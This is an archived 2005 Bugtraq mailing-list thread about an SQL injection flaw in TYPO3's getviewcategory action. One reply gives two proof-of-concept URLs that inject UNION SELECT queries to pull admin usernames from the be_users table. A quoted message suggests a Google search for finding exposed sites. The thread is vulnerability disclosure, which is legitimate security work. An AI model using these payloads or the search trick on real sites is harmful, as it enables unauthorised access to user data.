Bugtraq mailing list archives
RE: TYPO3 SQL Injection vunerabilitie
From: "GulfTech Security Research" <security () gulftech org>
Date: Thu, 3 Mar 2005 18:54:04 -0600
Here is a POC for the typo3 issue to test if you are vulnerable. This doesn't pull the password, just the username :) http://path/?&action=getviewcategory&category_uid=-99%20UNION%20SELECT%20use rname%20FROM%20be_users%20WHERE%20uid=1/* Also, it's easy to pull lists of data from the database using this vulnerability since the query results are looped and displayed. Take the following example. It would list usernames as categories http://path/?&action=getviewcategory&category_uid=-99%20UNION%20SELECT%20use rname,null%20FROM%20be_users%20WHERE%201/* James -----Original Message----- From: Sebastian Wolfgarten [mailto:sebastian () wolfgarten com] Sent: Thursday, March 03, 2005 5:07 PM To: bugtraq () securityfocus com Subject: Re: TYPO3 SQL Injection vunerabilitie Hi Dennis, I am pretty sure Fabian (Neonomicus) meant *every link* (or site) generated by Typo3, didn't he? For instance if you search google for "inurl:action=getviewcategory" I am pretty sure you will understand what he meant (or am I wrong here)? @Fabian (Neonomicus): Could you please provide more details about the vulnerability you've discoveredl? By the way did you give the Typo3 guys *enough* time to respond??? All the best, Sebastian -- No virus found in this incoming message. Checked by AVG Anti-Virus. Version: 7.0.300 / Virus Database: 266.5.5 - Release Date: 3/1/2005 -- No virus found in this outgoing message. Checked by AVG Anti-Virus. Version: 7.0.300 / Virus Database: 266.5.5 - Release Date: 3/1/2005
Current thread:
- TYPO3 SQL Injection vunerabilitie Fabian Becker (Mar 03)
- Re: TYPO3 SQL Injection vunerabilitie Sebastian Wolfgarten (Mar 03)
- RE: TYPO3 SQL Injection vunerabilitie GulfTech Security Research (Mar 04)
- Re: TYPO3 SQL Injection vunerabilitie Michael Shigorin (Mar 04)
- Re: TYPO3 3rd party extension (cmw_linklist) SQL Injection vunerability Michael Shigorin (Mar 04)
- <Possible follow-ups>
- Re: TYPO3 SQL Injection vunerabilitie Dennis Shewmaker (Mar 03)
- Re: TYPO3 SQL Injection vunerabilitie Michael Stucki (Mar 04)
- Re: TYPO3 SQL Injection vunerabilitie Karsten Dambekalns (Mar 04)
- Re: TYPO3 SQL Injection vunerabilitie Sebastian Wolfgarten (Mar 03)